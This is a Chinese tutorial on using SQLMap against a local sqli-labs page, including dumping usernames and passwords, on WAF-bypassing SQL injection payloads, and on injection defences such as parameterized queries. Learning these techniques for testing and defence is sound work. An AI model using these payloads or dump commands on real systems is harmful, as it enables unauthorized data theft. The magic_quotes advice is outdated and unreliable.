SQLMap和SQLi注入防御
字数 1970 2025-08-15 21:31:29
SQLMap与SQL注入防御技术详解
第一部分:SQLMap工具使用指南
1.1 SQLMap简介
SQLMap是一款开源的渗透测试工具,专门用于自动检测和利用SQL注入漏洞,主要特点包括:
- 支持多种数据库:MySQL、Oracle、PostgreSQL、SQL Server、Access、DB2、SQLite、Firebird、Sybase和SAP MAXDB
- 支持多种注入技术:
- UNION联合查询注入
- 报错型注入(Error-based)
- 布尔型盲注(Boolean-based blind)
- 基于时间延迟的盲注(Time-based blind)
- 多语句查询注入(Stacked queries)
- 官方网站:sqlmap.org
1.2 SQLMap安装与环境配置
安装步骤:
-
安装Python环境:
- 下载Python 2.7.x版本(兼容性最佳)
- 安装路径避免中文,建议如:
C:\Users\Administrator\python - 将Python添加到系统环境变量
-
安装SQLMap:
- 下载SQLMap并安装到指定目录,如:
C:\Users\Administrator\sqlmap
- 下载SQLMap并安装到指定目录,如:
-
环境验证:
- 测试Python:
python命令应进入Python交互环境 - 测试SQLMap:
sqlmap.py -h应显示帮助信息
- 测试Python:
1.3 SQLMap常用参数详解
数据库信息获取:
--dbs:获取所有数据库--dbms:指定数据库类型--current-db:获取当前数据库--banner:获取数据库标识--users:获取数据库用户--passwords:尝试获取密码(需权限)--is-dba:检查当前用户是否为管理员--privileges:查看用户权限
数据提取:
-D database_name --tables:获取指定数据库的表-D database_name -T table_name --columns:获取指定表的列-D database_name -T table_name -C column_1,column_2 --dump:提取指定列的数据--dump-all:导出所有数据--start/--stop:限制导出数据范围
其他实用参数:
--technique:指定注入技术类型--prefix/--suffix:指定payload前后缀--proxy:设置代理--batch:自动模式(无需交互)--sql-shell:获取SQL交互shell--file-write/--file-dest:文件写入操作
1.4 SQLMap实战示例
基本使用流程:
-
获取所有数据库:
python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --dbs --dbms=mysql --batch -
获取当前数据库:
python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch -
获取指定数据库的表:
python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch -
获取表的列结构:
python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch -
提取数据:
python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch
第二部分:WAF绕过技术
2.1 常见过滤与绕过方法
过滤类型及对应绕过技术:
-
过滤注释符:
- 原使用:
--+、#、/* */ - 绕过方法:使用
or '1'='1等方式闭合语句
- 原使用:
-
过滤AND/OR:
- 大小写变形:
And、Or - 十六进制/URL编码
- 符号替换:
&&代替AND,||代替OR - 内联注释:
a/**/nd、o/*xxx*/r - 双写绕过:
oORr
- 大小写变形:
-
过滤空格:
- 使用
%0a、%09等代替空格 - 使用注释分割:
union/**/select
- 使用
-
过滤SELECT/UNION等关键词:
- 大小写混合:
SeLeCt - 内联注释:
s/*!12345elect*/ - 编码绕过:URL编码、十六进制
- 大小写混合:
2.2 绕过实验示例
-
过滤注释符绕过:
?id=-1' union select 1,database(),'1 -
过滤AND/OR绕过:
- 使用
&&和|| - 使用
anandd和oorr
- 使用
-
过滤空格绕过:
?id=1'%0aunion%0aselect%0a1,2,3%0aor%0a'1'='1
第三部分:SQL注入防御方案
3.1 综合防御措施
-
基础防护:
- 关闭错误提示:
php.ini中设置display_errors=Off - 启用魔术引号:
magic_quotes_gpc=On(自动转义特殊字符)
- 关闭错误提示:
-
输入过滤:
- 黑名单过滤:过滤
and、or、union、select等关键词 - 白名单验证:对特定输入只允许预期字符
- 黑名单过滤:过滤
-
权限控制:
- 最小权限原则:数据库用户只授予必要权限
- 避免使用root/admin等高权限账户
-
编码实践:
- 预处理语句(Prepared Statements)
- 参数化查询(PDO)
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $id]); -
硬件防护:
- 部署WAF(Web应用防火墙)
- 入侵检测/防御系统(IDS/IPS)
-
其他措施:
- 定期安全审计
- 敏感数据加密存储
- 框架安全机制(如ORM)
通过综合应用以上技术和方法,可以构建多层次的SQL注入防御体系,有效保护Web应用安全。